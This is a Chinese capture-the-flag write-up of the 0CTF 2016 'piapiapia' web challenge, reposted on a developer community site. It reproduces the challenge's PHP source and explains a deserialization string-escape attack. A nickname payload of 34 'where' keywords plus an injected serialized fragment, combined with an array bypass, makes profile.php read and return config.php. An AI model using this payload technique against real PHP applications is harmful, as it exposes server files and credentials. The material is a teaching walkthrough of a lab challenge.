首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[0CTF 2016]piapiapia

[0CTF 2016]piapiapia

作者头像
熔城Sec
发布2026-07-22 20:47:47
发布2026-07-22 20:47:47
720
举报

01、题目简介

  • 题目名称:[0CTF 2016]piapiapia
  • 题目平台:CTF²
  • 题目类型:Web

02、解题步骤

启动并访问靶机

使用dirseach扫描,发现存在压缩包www.zip

访问下载进行解压操作

接下来就是对代码进行解读了,config.php内容如下,发现全局变量flag

代码语言:javascript
复制
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

接下来看一下class.php,这里我认为最主要的就是filter方法,过滤了单引号、反斜线及SQL关键字。

代码语言:javascript
复制
<?php
require('config.php'); // 引入配置文件,通常包含数据库连接信息 $config

// user 类继承 mysql 类,实现用户管理功能
class user extends mysql {
    private $table = 'users'; // 指定数据库中的用户表名

    // 检查用户名是否已存在
    public function is_exists($username) {
        $username = parent::filter($username); // 调用父类的过滤函数(存在安全缺陷)
        $where = "username = '$username'";     // 拼接 SQL WHERE 子句,易导致 SQL 注入(虽然 filter 试图过滤)
        return parent::select($this->table, $where); // 执行查询并返回结果对象
    }

    // 用户注册
    public function register($username, $password) {
        $username = parent::filter($username); // 过滤用户名
        $password = parent::filter($password); // 过滤密码

        $key_list = Array('username', 'password');   // 插入的字段名
        $value_list = Array($username, md5($password)); // 字段值(密码使用 MD5 加密,不安全)
        return parent::insert($this->table, $key_list, $value_list); // 执行插入
    }

    // 用户登录验证
    public function login($username, $password) {
        $username = parent::filter($username); // 过滤用户名
        $password = parent::filter($password); // 过滤密码

        $where = "username = '$username'";     // 拼接 WHERE 条件
        $object = parent::select($this->table, $where); // 查询用户记录
        if ($object && $object->password === md5($password)) { // 比对密码 MD5 值
            return true;
        } else {
            return false;
        }
    }

    // 获取用户资料(序列化字符串)
    public function show_profile($username) {
        $username = parent::filter($username); // 过滤用户名
        $where = "username = '$username'";     // WHERE 条件
        $object = parent::select($this->table, $where); // 查询用户
        return $object->profile;               // 返回 profile 字段(序列化存储)
    }

    // 更新用户资料
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);     // 过滤用户名
        $new_profile = parent::filter($new_profile); // 过滤新资料内容
        $where = "username = '$username'";         // WHERE 条件
        return parent::update($this->table, 'profile', $new_profile, $where); // 执行更新
    }

    // 魔术方法,将对象转为字符串时返回类名
    public function __tostring() {
        return __class__;
    }
}

// mysql 类,封装数据库操作(使用已废弃的 mysql_* 函数)
class mysql {
    private $link = null; // 数据库连接资源

    // 连接数据库
    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        ); // 建立 MySQL 连接(mysql_connect 已过时)
        mysql_select_db($config['database']); // 选择数据库
        mysql_query("SET sql_mode='strict_all_tables'"); // 设置严格 SQL 模式

        return $this->link;
    }

    // 查询单条记录(仅返回第一条)
    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where"; // 拼接 SQL 查询语句(严重 SQL 注入风险)
        $result = mysql_query($sql, $this->link);      // 执行查询
        return mysql_fetch_object($result);            // 取回结果对象
    }

    // 插入记录
    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);                          // 拼接字段名
        $value = '\'' . implode('\',\'', $value_list) . '\'';    // 拼接值,加单引号
        $sql = "INSERT INTO $table ($key) VALUES ($value)";      // 拼接 INSERT 语句
        return mysql_query($sql);                                // 执行插入
    }

    // 更新记录
    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where"; // 拼接 UPDATE 语句
        return mysql_query($sql);                                // 执行更新
    }

    // 输入过滤函数(存在绕过风险)
    public function filter($string) {
        // 将单引号 ' 和反斜线 \ 替换为下划线 _
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        // 将危险 SQL 关键字替换为 'hacker'(不区分大小写)
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

    // 魔术方法,对象转字符串返回类名
    public function __tostring() {
        return __class__;
    }
}

// 启动会话
session_start();

// 实例化 user 对象并连接数据库
$user = new user();
$user->connect($config); // $config 来自 config.php,包含数据库连接参数
?>

接下来看一下update.php,我认为这里最主要的就是serialize($profile)序列化操作。

代码语言:javascript
复制
<?php
    // 引入 class.php 文件,该文件包含 user 类和 mysql 类的定义,以及创建 $user 对象和启动 session
    require_once('class.php');
    // 检查当前会话中是否有 username,即用户是否已登录
    if($_SESSION['username'] == null) {
        die('Login First');   // 未登录则终止并输出提示
    }
    // 检查是否通过 POST 提交了 phone、email、nickname 以及上传了 photo 文件
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
        // 从会话中获取已登录的用户名
        $username = $_SESSION['username'];
        // 验证手机号:必须是11位数字(正则:^\d{11}$)
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');
        // 验证邮箱格式:允许下划线、字母数字,每部分1-10字符,域名部分类似
        // 格式:xxx@xxx.xxx,不严格但有一定限制
        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        // 验证昵称:只允许字母、数字、下划线,且长度不超过10
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
        // 获取上传的文件信息
        $file = $_FILES['photo'];
        // 检查文件大小:小于5字节或大于1MB则报错(注意:<5 可能允许0或1字节,但move_uploaded_file可能失败)
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');
        // 将上传的临时文件移动到 upload/ 目录下,文件名使用原始文件名的 MD5 值(无扩展名)
        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        // 构建要保存的用户资料数组
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);   // 存储图片的访问路径
        // 序列化资料数组,并调用 user 类的 update_profile 方法更新数据库中当前用户的 profile 字段
        $user->update_profile($username, serialize($profile));
        // 输出成功信息,并提供一个链接到 profile.php 查看资料
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
        // 如果未完整提交 POST 数据,则不执行更新,可能输出表单页面(原代码未闭合 else 的大括号?此处省略了表单 HTML)
        // 实际代码中这里可能包含一个 HTML 表单,让用户填写资料
?> 

既然看到profile就看一下profile.php。我认为profile主要是将字符串还原为数组直接输出。

代码语言:javascript
复制
<?php
    // 引入 class.php,其中包含 user 类、mysql 类的定义,以及创建 $user 对象并启动 session
    require_once('class.php');
    // 检查用户是否已登录(会话中是否存在 username)
    if($_SESSION['username'] == null) {
        die('Login First');     // 未登录则终止并提示
    }
    // 从会话中获取当前登录的用户名
    $username = $_SESSION['username'];
    // 调用 user 对象的 show_profile 方法,从数据库获取该用户序列化后的个人资料
    $profile = $user->show_profile($username);
    // 如果资料为空(用户尚未填写过资料),则重定向到 update.php 进行填写
    if($profile == null) {
        header('Location: update.php');
    }
    else {
        // 反序列化从数据库取出的资料字符串,将其还原为数组
        $profile = unserialize($profile);
        // 从数组中提取各个字段
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        // 读取照片文件内容并转换为 base64 编码(通常用于嵌入 HTML 中的 data:image 显示)
        $photo = base64_encode(file_get_contents($profile['photo']));

接下来再看一下index.php,一个简单的登录

代码语言:javascript
复制
<?php
    // 引入 class.php,包含用户类、数据库操作类以及 $user 对象和 session 启动
    require_once('class.php');
    // 检查当前是否已登录(会话中存在 username)
    if($_SESSION['username']) {
        header('Location: profile.php');  // 已登录则直接跳转到个人资料页
        exit;                             // 终止脚本执行
    }
    // 检查是否通过 POST 提交了用户名和密码
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];   // 获取提交的用户名
        $password = $_POST['password'];   // 获取提交的密码
        // 验证用户名长度:必须在 3 到 16 个字符之间
        if(strlen($username) < 3 or strlen($username) > 16) 
            die('Invalid user name');
        // 验证密码长度:必须在 3 到 16 个字符之间
        if(strlen($password) < 3 or strlen($password) > 16) 
            die('Invalid password');
        // 调用 user 类的 login 方法进行身份验证
        if($user->login($username, $password)) {
            $_SESSION['username'] = $username;  // 登录成功,将用户名存入会话
            header('Location: profile.php');     // 跳转到个人资料页
            exit;                                
        } else {
            die('Invalid user name or password'); // 登录失败,输出错误信息
        }
    }
    else {
        // 如果既没有登录也没有提交 POST 数据,则执行此处

看一下register.php

代码语言:javascript
复制
<?php
    // 引入 class.php,其中包含 user 类、mysql 类以及 $user 对象的创建和 session 启动
    require_once('class.php');
    // 检查是否通过 POST 提交了用户名和密码
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];   // 获取提交的用户名
        $password = $_POST['password'];   // 获取提交的密码
        // 验证用户名长度:必须在 3 到 16 个字符之间
        if(strlen($username) < 3 or strlen($username) > 16) 
            die('Invalid user name');
        // 验证密码长度:必须在 3 到 16 个字符之间
        if(strlen($password) < 3 or strlen($password) > 16) 
            die('Invalid password');
        // 调用 user 类的 is_exists 方法检查用户名是否已存在
        if(!$user->is_exists($username)) {
            // 用户名不存在,调用 register 方法注册新用户(密码会被 MD5 处理)
            $user->register($username, $password);
            // 注册成功后输出成功信息,并提供链接让用户跳转到登录页
            echo 'Register OK!<a href="index.php">Please Login</a>';
        } else {
            // 用户名已存在,输出错误信息
            die('User name Already Exists');
        }
    }
    else {

接下来就可以进行具体操作了,首先我们可以利用update.php序列化,也将s:10:"config.php";}添加到序列化结果后面,反序列化的时候就能通过profile.php中file_get_content()方法来读取config.php的文件内容。

update.php中$nickname可以成为利用点,$nickname后面需要序列化的内容为

代码语言:javascript
复制
;}s:5:"photo";s:10:"config.php";}

长度为34,所以挤出34位长度,这时候利用class.php中的filter代码,每次过滤where关键字就会将字符串的长度添加1位,所以我们需要在$nickname中输入34个where,然后将;}s:5:"photo";s:10:"config.php";}添加到关键字后面

代码语言:javascript
复制
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后接下来注册一个账户,注册完成后登录,会让你更新信息

然后修改下图标红的两个参数,修改$nickename为nickename[]进行数组绕过和$nickename的值

然后访问/profile.php

然后右键查看源代码

这里就是base64加密的config.php的内容,进行解密即可

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档